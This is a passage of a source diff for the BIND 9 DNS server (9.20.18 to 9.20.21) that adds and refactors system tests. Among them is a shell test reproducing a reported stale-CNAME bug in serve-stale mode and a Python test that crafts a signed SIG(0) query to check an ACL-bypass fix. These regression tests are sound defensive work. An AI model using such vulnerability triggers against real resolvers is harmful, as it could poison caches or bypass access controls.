dnssec-validation no; + qname-minimization off; + + stale-answer-enable yes; + stale-cache-enable yes; + max-stale-ttl 3600; + + stale-answer-client-timeout off; + stale-refresh-time 30; + + max-cache-ttl 300; + max-ncache-ttl 300; +}; + +zone "." { + type hint; + file "root.db"; +}; + +// Authoritative zone: nonexist.target.stale -> NXDOMAIN +zone "target.stale" { + type primary; + file "target.stale.db"; +}; + +// Forward source.stale queries to ans2 +zone "source.stale" { + type forward; + forward only; + forwarders { 10.53.0.2 port @PORT@; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/serve-stale/ns7/named1.conf.j2 bind9-9.20.21/bin/tests/system/serve-stale/ns7/named1.conf.j2 --- bind9-9.20.18/bin/tests/system/serve-stale/ns7/named1.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/serve-stale/ns7/named1.conf.j2 2026-03-13 22:01:10.734876292 +0000 @@ -0,0 +1,63 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.7 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +options { + query-source address 10.53.0.7; + notify-source 10.53.0.7; + transfer-source 10.53.0.7; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.7; }; + listen-on-v6 { none; }; + recursion yes; + dnssec-validation no; + qname-minimization off; + + stale-answer-enable yes; + stale-cache-enable yes; + max-stale-ttl 3600; + + stale-answer-client-timeout off; + stale-refresh-time 30; + + max-cache-ttl 300; + max-ncache-ttl 300; +}; + +zone "." { + type hint; + file "root.db"; +}; + +// Forward source.stale queries to ans2 +zone "source.stale" { + type forward; + forward only; + forwarders { 10.53.0.2 port @PORT@; }; +}; + +// Forward target.stale queries to ans8 +zone "target.stale" { + type forward; + forward only; + forwarders { 10.53.0.8 port @PORT@; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/serve-stale/ns7/root.db bind9-9.20.21/bin/tests/system/serve-stale/ns7/root.db --- bind9-9.20.18/bin/tests/system/serve-stale/ns7/root.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/serve-stale/ns7/root.db 2026-03-13 22:01:10.732876356 +0000 @@ -0,0 +1,20 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +. 300 SOA . . 0 0 0 0 0 +. 300 NS ns.nil. +ns.nil. 300 A 10.53.0.1 +example. 300 NS ns.example. +ns.example. 300 A 10.53.0.2 +slow. 300 NS ns.slow. +ns.slow. 300 A 10.53.0.2 +stale. 300 NS ns.stale. +ns.stale. 300 A 10.53.0.6 diff -Nru bind9-9.20.18/bin/tests/system/serve-stale/ns7/target.stale.db bind9-9.20.21/bin/tests/system/serve-stale/ns7/target.stale.db --- bind9-9.20.18/bin/tests/system/serve-stale/ns7/target.stale.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/serve-stale/ns7/target.stale.db 2026-03-13 22:01:10.734876292 +0000 @@ -0,0 +1,18 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +target.stale. IN SOA ns.target.stale. ywh. 1 0 0 0 0 +target.stale. IN NS ns.target.stale. +ns.target.stale. IN A 10.53.0.6 + +; NOTE: "nonexist.target.stale." is NOT defined here. +; Queries for it will return authoritative NXDOMAIN. +; This is the CNAME target from alias.source.stale. diff -Nru bind9-9.20.18/bin/tests/system/serve-stale/tests.sh bind9-9.20.21/bin/tests/system/serve-stale/tests.sh --- bind9-9.20.18/bin/tests/system/serve-stale/tests.sh 2026-01-09 13:39:28.189975025 +0000 +++ bind9-9.20.21/bin/tests/system/serve-stale/tests.sh 2026-03-13 22:01:10.735876260 +0000 @@ -25,6 +25,212 @@ n=0 # +# YWH-PGM40640-56: +# Stale/Wrong DNS Data Served via CNAME Flag Leak. +# +echo_i "test server with serve-stale options set" + +# +# Variant 1: local authoritative zone +# + +# Initial query — populates cache, gets correct NXDOMAIN +n=$((n + 1)) +echo_i "prime cache aliasnx.source.stale A ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.7 aliasnx.source.stale A >dig.out.test$n || ret=1 +grep "status: NXDOMAIN" dig.out.test$n >/dev/null || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Wait for CNAME TTL to expire +sleep 3 +# Kill auth server — source.test becomes unreachable +n=$((n + 1)) +echo_i "disable responses from authoritative server ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.2 txt disable >dig.out.test$n || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "TXT.\"0\"" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Query via stale CNAME — triggers the bug +n=$((n + 1)) +echo_i "check stale aliasnx.source.stale A ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.7 aliasnx.source.stale A >dig.out.test$n || ret=1 +grep "status: NXDOMAIN" dig.out.test$n >/dev/null || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Restore auth server +n=$((n + 1)) +echo_i "enable responses from authoritative server ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.2 txt enable >dig.out.test$n || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "TXT.\"1\"" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +# +# Variant 2: stale/wrong data served +# +n=$((n + 1)) +echo_i "updating ns7/named.conf ($n)" +ret=0 +cp ns7/named1.conf ns7/named.conf +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "running 'rndc reload' ($n)" +ret=0 +rndc_reload ns7 10.53.0.7 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Initial query — caches both CNAME and A record +n=$((n + 1)) +echo_i "prime cache alias.source.stale A ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.7 alias.source.stale A >dig.out.test$n || ret=1 +grep "status: NOERROR" dig.out.test$n >/dev/null || ret=1 +grep "ANSWER: 2," dig.out.test$n >/dev/null || ret=1 +grep "alias.source.stale.*2.*IN.*CNAME.*www.target.stale." dig.out.test$n >/dev/null || ret=1 +grep "www.target.stale.*2.*IN.*A.*10.0.0.1" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Wait for both TTLs to expire +sleep 3 +# Kill source.test auth (CNAME becomes stale) +n=$((n + 1)) +echo_i "disable responses from authoritative server ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.2 txt disable >dig.out.test$n || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "TXT.\"0\"" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Kill target auth, restart with NEW IP (10.0.0.2) +n=$((n + 1)) +echo_i "update target authoritative server ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.8 txt update >dig.out.test$n || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "TXT.\"update\"" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Query via stale CNAME — triggers the bug +n=$((n + 1)) +echo_i "check stale alias.source.stale A ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.7 alias.source.stale A >dig.out.test$n || ret=1 +grep "status: NOERROR" dig.out.test$n >/dev/null || ret=1 +grep "ANSWER: 2," dig.out.test$n >/dev/null || ret=1 +grep "alias.source.stale.*30.*IN.*CNAME.*www.target.stale." dig.out.test$n >/dev/null || ret=1 +grep "www.target.stale.*2.*IN.*A.*10.0.0.2" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Control: direct query for same name (no stale CNAME involved) +n=$((n + 1)) +echo_i "check target www.target.stale A ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.7 www.target.stale A >dig.out.test$n || ret=1 +grep "status: NOERROR" dig.out.test$n >/dev/null || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "www.target.stale.*IN.*A.*10.0.0.2" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Restore auth servers +n=$((n + 1)) +echo_i "enable responses from authoritative server ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.2 txt enable >dig.out.test$n || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "TXT.\"1\"" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "update target authoritative server ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.8 txt restore >dig.out.test$n || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "TXT.\"restore\"" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +# +# Variant 3: recursion blocked, servfail +# + +# Flush stale data +n=$((n + 1)) +echo_i "flush stale data ($n)" +ret=0 +$RNDCCMD 10.53.0.7 flushtree stale >/dev/null 2>&1 || ret=1 +sleep 1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Initial query — NXDOMAIN via CNAME chain through BOTH forwarders +n=$((n + 1)) +echo_i "prime cache aliasnx.source.stale A ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.7 aliasnx.source.stale A >dig.out.test$n || ret=1 +grep "status: NXDOMAIN" dig.out.test$n >/dev/null || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "aliasnx.source.stale.*2.*IN.*CNAME.*nonexist.target.stale." dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Wait for CNAME TTL to expire +sleep 3 +# Kill source.test auth ONLY (target.test auth stays alive!) +n=$((n + 1)) +echo_i "disable responses from authoritative server ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.2 txt disable >dig.out.test$n || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "TXT.\"0\"" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Flush target's negative cache entry (simulates cache eviction/pressure) +n=$((n + 1)) +echo_i "flush name nonexist.target.stale ($n)" +ret=0 +$RNDCCMD 10.53.0.7 flushname nonexist.target.stale >/dev/null 2>&1 || ret=1 +sleep 1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Verify target auth is STILL ALIVE and returns correct NXDOMAIN +n=$((n + 1)) +echo_i "verify nonexist.target.stale A ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.8 nonexist.target.stale A >dig.out.test$n || ret=1 +grep "status: NXDOMAIN" dig.out.test$n >/dev/null || ret=1 +grep "ANSWER: 0," dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +# Query via stale CNAME — triggers the bug +n=$((n + 1)) +echo_i "check stale aliasnx.source.stale A ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.7 aliasnx.source.stale A >dig.out.test$n || ret=1 +grep "status: NXDOMAIN" dig.out.test$n >/dev/null || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) +grep "aliasnx.source.stale.*30.*IN.*CNAME.*nonexist.target.stale." dig.out.test$n >/dev/null || ret=1 +# Restore auth server +n=$((n + 1)) +echo_i "enable responses from authoritative server ($n)" +ret=0 +$DIG -p ${PORT} @10.53.0.2 txt enable >dig.out.test$n || ret=1 +grep "ANSWER: 1," dig.out.test$n >/dev/null || ret=1 +grep "TXT.\"1\"" dig.out.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +# # First test server with serve-stale options set. # echo_i "test server with serve-stale options set" diff -Nru bind9-9.20.18/bin/tests/system/shutdown/tests_shutdown.py bind9-9.20.21/bin/tests/system/shutdown/tests_shutdown.py --- bind9-9.20.18/bin/tests/system/shutdown/tests_shutdown.py 2026-01-09 13:39:28.191975078 +0000 +++ bind9-9.20.21/bin/tests/system/shutdown/tests_shutdown.py 2026-03-13 22:01:10.736876228 +0000 @@ -12,17 +12,16 @@ # information regarding copyright ownership. from concurrent.futures import ThreadPoolExecutor, as_completed +from string import ascii_lowercase as letters + import os import random import signal import subprocess -from string import ascii_lowercase as letters import time -import pytest - -pytest.importorskip("dns", minversion="2.0.0") import dns.exception +import pytest import isctest diff -Nru bind9-9.20.18/bin/tests/system/sig0/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/sig0/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/sig0/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/sig0/ns1/named.conf.j2 2026-03-13 22:01:10.737876196 +0000 @@ -0,0 +1,41 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + listen-on-v6 { none; }; + recursion no; + notify no; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +view "v1" { + match-clients { any; }; + zone "." { + type hint; + file "/dev/null"; + }; +}; diff -Nru bind9-9.20.18/bin/tests/system/sig0/setup.sh bind9-9.20.21/bin/tests/system/sig0/setup.sh --- bind9-9.20.18/bin/tests/system/sig0/setup.sh 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/sig0/setup.sh 2026-03-13 22:01:10.737876196 +0000 @@ -0,0 +1,17 @@ +#!/bin/sh -e + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# shellcheck source=conf.sh +. ../conf.sh + +key=$($KEYGEN -q -a RSASHA256 -b 2048 sig0.) diff -Nru bind9-9.20.18/bin/tests/system/sig0/tests_sig0.py bind9-9.20.21/bin/tests/system/sig0/tests_sig0.py --- bind9-9.20.18/bin/tests/system/sig0/tests_sig0.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/sig0/tests_sig0.py 2026-03-13 22:01:10.737876196 +0000 @@ -0,0 +1,119 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import base64 +import glob +import os +import struct +import time + +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.primitives.asymmetric import padding, rsa + +import dns.flags +import dns.message +import dns.name +import dns.rdata +import dns.rdataclass +import dns.rdatatype +import dns.renderer +import dns.rrset + +import isctest + + +def load_bind_private_key(filename): + """Parses a BIND 9 .private key file.""" + with open(filename, "r", encoding="utf-8") as f: + lines = f.readlines() + + data = {} + for line in lines: + if ":" in line: + key, value = line.split(":", 1) + data[key.strip()] = value.strip() + + def b64int(k): + return int.from_bytes(base64.b64decode(data[k]), byteorder="big") + + rsa_key = rsa.RSAPrivateNumbers( + p=b64int("Prime1"), + q=b64int("Prime2"), + d=b64int("PrivateExponent"), + dmp1=b64int("Exponent1"), + dmq1=b64int("Exponent2"), + iqmp=b64int("Coefficient"), + public_numbers=rsa.RSAPublicNumbers( + e=b64int("PublicExponent"), n=b64int("Modulus") + ), + ).private_key(default_backend()) + + return rsa_key + + +def make_sig0_query(key_file, key_name_str): + private_key = load_bind_private_key(key_file) + + qname = dns.name.from_text(".") + query = dns.message.make_query(qname, dns.rdatatype.SOA) + query.flags |= dns.flags.RD + + # Render message to bytes (needed for signing) + renderer = dns.renderer.Renderer() + query.to_wire(renderer) + msg_bytes = renderer.get_wire() + + # SIG(0) Constants + basename = os.path.basename(key_file) + key_tag = int(basename.split("+")[2].split(".")[0]) + + now = int(time.time()) + expiration = now + 3600 + inception = now - 3600 + signer_name = dns.name.from_text(key_name_str) + + # Construct SIG RDATA header (0=SIG(0), 8=RSASHA256, 0=Labels) + sig_rdata_header = struct.pack( + "!HBBIIIH", 0, 8, 0, 0, expiration, inception, key_tag + ) + + sig_rdata_pre_sig = sig_rdata_header + signer_name.to_wire() + + # Sign: ( SIG RDATA sans signature ) + ( Message ) + signature = private_key.sign( + sig_rdata_pre_sig + msg_bytes, padding.PKCS1v15(), hashes.SHA256() + ) + + # Create the SIG RR + full_sig_rdata = sig_rdata_pre_sig + signature + sig_rr = dns.rdata.from_wire( + dns.rdataclass.ANY, + dns.rdatatype.SIG, + full_sig_rdata, + 0, + len(full_sig_rdata), + ) + sig_rrset = dns.rrset.from_rdata(qname, 0, sig_rr) + query.additional.append(sig_rrset) + + return query + + +def test_sig0_acl_bypass(): + key_files = glob.glob("Ksig0.+*.private") + assert len(key_files) == 1 + + query = make_sig0_query(key_files[0], "sig0.") + + # Send the query + res = isctest.query.tcp(query, "10.53.0.1") + isctest.check.servfail(res) diff -Nru bind9-9.20.18/bin/tests/system/sortlist/tests_sortlist.py bind9-9.20.21/bin/tests/system/sortlist/tests_sortlist.py --- bind9-9.20.18/bin/tests/system/sortlist/tests_sortlist.py 2026-01-09 13:39:28.192975104 +0000 +++ bind9-9.20.21/bin/tests/system/sortlist/tests_sortlist.py 2026-03-13 22:01:10.738876164 +0000 @@ -10,7 +10,7 @@ # information regarding copyright ownership. import dns.message - +import dns.rrset import pytest import isctest diff -Nru bind9-9.20.18/bin/tests/system/start.pl bind9-9.20.21/bin/tests/system/start.pl --- bind9-9.20.18/bin/tests/system/start.pl 2026-01-09 13:39:28.192975104 +0000 +++ bind9-9.20.21/bin/tests/system/start.pl 2026-03-13 22:01:10.738876164 +0000 @@ -325,7 +325,7 @@ if (-e "$testdir/$server/ans.py") { $ENV{'PYTHONPATH'} = $testdir . ":" . $builddir; - $command = "$PYTHON -u ans.py 10.53.0.$n $queryport"; + $command = "$PYTHON -u -m $test.$server.ans 10.53.0.$n $queryport"; } elsif (-e "$testdir/$server/ans.pl") { $command = "$PERL ans.pl"; } else { diff -Nru bind9-9.20.18/bin/tests/system/statistics/ans4/ans.py bind9-9.20.21/bin/tests/system/statistics/ans4/ans.py --- bind9-9.20.18/bin/tests/system/statistics/ans4/ans.py 2026-01-09 13:39:28.196975209 +0000 +++ bind9-9.20.21/bin/tests/system/statistics/ans4/ans.py 2026-03-13 22:01:10.742876036 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.rcode import dns.rdatatype @@ -20,7 +20,6 @@ from isctest.asyncserver import ( AsyncDnsServer, DnsResponseSend, - DomainHandler, IgnoreAllQueries, QnameHandler, QueryContext, @@ -28,152 +27,30 @@ ) -def setup_delegation(qctx: QueryContext, owner: str) -> None: - ns_name = f"ns.{owner}" - ns_rrset = dns.rrset.from_text(owner, 300, qctx.qclass, dns.rdatatype.NS, ns_name) - a_rrset = dns.rrset.from_text( - ns_name, 300, qctx.qclass, dns.rdatatype.A, "10.53.0.3" - ) - qctx.response.authority.append(ns_rrset) - qctx.response.additional.append(a_rrset) - - -class BadGoodCnameHandler(QnameHandler): - qnames = [ - "badcname.example.net.", - "goodcname.example.net.", - ] - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - # Data for CNAME/DNAME filtering. We need to make one-level - # delegation to avoid automatic acceptance for subdomain aliases - setup_delegation(qctx, "example.net.") - yield DnsResponseSend(qctx.response, authoritative=False) - - -class Cname1Handler(QnameHandler): - qnames = ["cname1.example.com."] - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - # Data for the "cname + other data / 1" test - cname_rrset = dns.rrset.from_text( - qctx.qname, 300, qctx.qclass, dns.rdatatype.CNAME, "cname1.example.com." - ) - a_rrset = dns.rrset.from_text( - qctx.qname, 300, qctx.qclass, dns.rdatatype.A, "1.2.3.4" - ) - qctx.response.answer.append(cname_rrset) - qctx.response.answer.append(a_rrset) - yield DnsResponseSend(qctx.response, authoritative=False) - - -class Cname2Handler(QnameHandler): - qnames = ["cname2.example.com."] - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - # Data for the "cname + other data / 2" test: same RRs in opposite order - a_rrset = dns.rrset.from_text( - qctx.qname, 300, qctx.qclass, dns.rdatatype.A, "1.2.3.4" - ) - cname_rrset = dns.rrset.from_text( - qctx.qname, 300, qctx.qclass, dns.rdatatype.CNAME, "cname2.example.com." - ) - qctx.response.answer.append(a_rrset) - qctx.response.answer.append(cname_rrset) - yield DnsResponseSend(qctx.response, authoritative=False) - - -class ExampleHandler(QnameHandler): - qnames = [ - "www.example.com.", - "www.example.net.", - "badcname.example.org.", - "goodcname.example.org.", - "foo.badcname.example.org.", - "foo.goodcname.example.org.", - ] - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - # Data for address/alias filtering. - if qctx.qtype == dns.rdatatype.A: - a_rrset = dns.rrset.from_text( - qctx.qname, 300, qctx.qclass, qctx.qtype, "192.0.2.1" - ) - qctx.response.answer.append(a_rrset) - elif qctx.qtype == dns.rdatatype.AAAA: - aaaa_rrset = dns.rrset.from_text( - qctx.qname, 300, qctx.qclass, qctx.qtype, "2001:db8:beef::1" - ) - qctx.response.answer.append(aaaa_rrset) - yield DnsResponseSend(qctx.response, authoritative=True) - - class FooInfoHandler(QnameHandler, IgnoreAllQueries): qnames = ["foo.info."] -class NoDataHandler(DomainHandler): - domains = ["nodata.example.net."] - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - yield DnsResponseSend(qctx.response, authoritative=True) - - -class NxdomainHandler(DomainHandler): - domains = ["nxdomain.example.net."] - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - qctx.response.set_rcode(dns.rcode.NXDOMAIN) - yield DnsResponseSend(qctx.response, authoritative=True) - - -class SubHandler(DomainHandler): - domains = ["sub.example.org."] - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - # Data for CNAME/DNAME filtering. The final answers are - # expected to be accepted regardless of the filter setting. - setup_delegation(qctx, "sub.example.org.") - yield DnsResponseSend(qctx.response, authoritative=False) - - class FallbackHandler(ResponseHandler): async def get_responses( self, qctx: QueryContext ) -> AsyncGenerator[DnsResponseSend, None]: - setup_delegation(qctx, "below.www.example.com.") - yield DnsResponseSend(qctx.response, authoritative=False) + name = "below.www.example.com." + ns_name = f"ns.{name}" + ns_rrset = dns.rrset.from_text( + name, 300, qctx.qclass, dns.rdatatype.NS, ns_name + ) + a_rrset = dns.rrset.from_text( + ns_name, 300, qctx.qclass, dns.rdatatype.A, "10.53.0.3" + ) + qctx.response.authority.append(ns_rrset) + qctx.response.additional.append(a_rrset) + yield DnsResponseSend(qctx.response) def main() -> None: - server = AsyncDnsServer(default_rcode=dns.rcode.NOERROR) - server.install_response_handlers( - [ - BadGoodCnameHandler(), - Cname1Handler(), - Cname2Handler(), - ExampleHandler(), - FooInfoHandler(), - NoDataHandler(), - NxdomainHandler(), - SubHandler(), - FallbackHandler(), - ] - ) + server = AsyncDnsServer(default_rcode=dns.rcode.NOERROR, default_aa=False) + server.install_response_handlers(FooInfoHandler(), FallbackHandler()) server.run() diff -Nru bind9-9.20.18/bin/tests/system/statistics/tests_sh_statistics.py bind9-9.20.21/bin/tests/system/statistics/tests_sh_statistics.py --- bind9-9.20.18/bin/tests/system/statistics/tests_sh_statistics.py 2026-01-09 13:39:28.197975235 +0000 +++ bind9-9.20.21/bin/tests/system/statistics/tests_sh_statistics.py 2026-03-13 22:01:10.743876004 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "curl.out.*", diff -Nru bind9-9.20.18/bin/tests/system/statschannel/__init__.py bind9-9.20.21/bin/tests/system/statschannel/__init__.py --- bind9-9.20.18/bin/tests/system/statschannel/__init__.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/statschannel/__init__.py 2026-03-13 22:01:10.743876004 +0000 @@ -0,0 +1,15 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + + +import pytest + +pytest.register_assert_rewrite("generic") diff -Nru bind9-9.20.18/bin/tests/system/statschannel/generic.py bind9-9.20.21/bin/tests/system/statschannel/generic.py --- bind9-9.20.18/bin/tests/system/statschannel/generic.py 2026-01-09 13:39:28.197975235 +0000 +++ bind9-9.20.21/bin/tests/system/statschannel/generic.py 2026-03-13 22:01:10.743876004 +0000 @@ -9,20 +9,18 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from datetime import datetime, timedelta from collections import defaultdict +from datetime import datetime, timedelta from time import sleep + import os import dns.message -import dns.query -import dns.rcode import isctest - # ISO datetime format without msec -fmt = "%Y-%m-%dT%H:%M:%SZ" +FMT = "%Y-%m-%dT%H:%M:%SZ" # The constants were taken from BIND 9 source code (lib/dns/zone.c) max_refresh = timedelta(seconds=2419200) # 4 weeks @@ -30,7 +28,7 @@ dayzero = datetime.utcfromtimestamp(0).replace(microsecond=0) # Wait for the secondary zone files to appear to extract their mtime -max_secondary_zone_waittime_sec = 5 +MAX_SECONDARY_ZONE_WAITTIME_SEC = 5 # Generic helper functions @@ -46,7 +44,7 @@ def check_loaded(loaded, expected, now): # Sanity check the zone timers values - assert (loaded - expected).total_seconds() < max_secondary_zone_waittime_sec + assert (loaded - expected).total_seconds() < MAX_SECONDARY_ZONE_WAITTIME_SEC assert loaded <= now @@ -70,7 +68,7 @@ def zone_mtime(zonedir, name): try: - si = os.stat(os.path.join(zonedir, "{}.db".format(name))) + si = os.stat(os.path.join(zonedir, f"{name}.db")) except FileNotFoundError: return dayzero @@ -87,7 +85,7 @@ zones = fetch_zones(statsip, statsport) for zone in zones: - (name, loaded, expires, refresh) = load_timers(zone, True) + name, loaded, expires, refresh = load_timers(zone, True) mtime = zone_mtime(zonedir, name) check_zone_timers(loaded, expires, refresh, mtime) @@ -98,12 +96,12 @@ zonedir = kwargs["zonedir"] # If any one of the zone files isn't ready, then retry until timeout. - tries = max_secondary_zone_waittime_sec + tries = MAX_SECONDARY_ZONE_WAITTIME_SEC while tries >= 0: zones = fetch_zones(statsip, statsport) again = False for zone in zones: - (name, loaded, expires, refresh) = load_timers(zone, False) + name, loaded, expires, refresh = load_timers(zone, False) mtime = zone_mtime(zonedir, name) if (mtime != dayzero) or (tries == 0): # mtime was either retrieved successfully or no tries were @@ -161,7 +159,7 @@ def update_expected(expected, key, msg): msg_len = len(msg.to_wire()) bucket_num = (msg_len // 16) * 16 - bucket = "{}-{}".format(bucket_num, bucket_num + 15) + bucket = f"{bucket_num}-{bucket_num + 15}" expected[key][bucket] += 1 diff -Nru bind9-9.20.18/bin/tests/system/statschannel/tests_json.py bind9-9.20.21/bin/tests/system/statschannel/tests_json.py --- 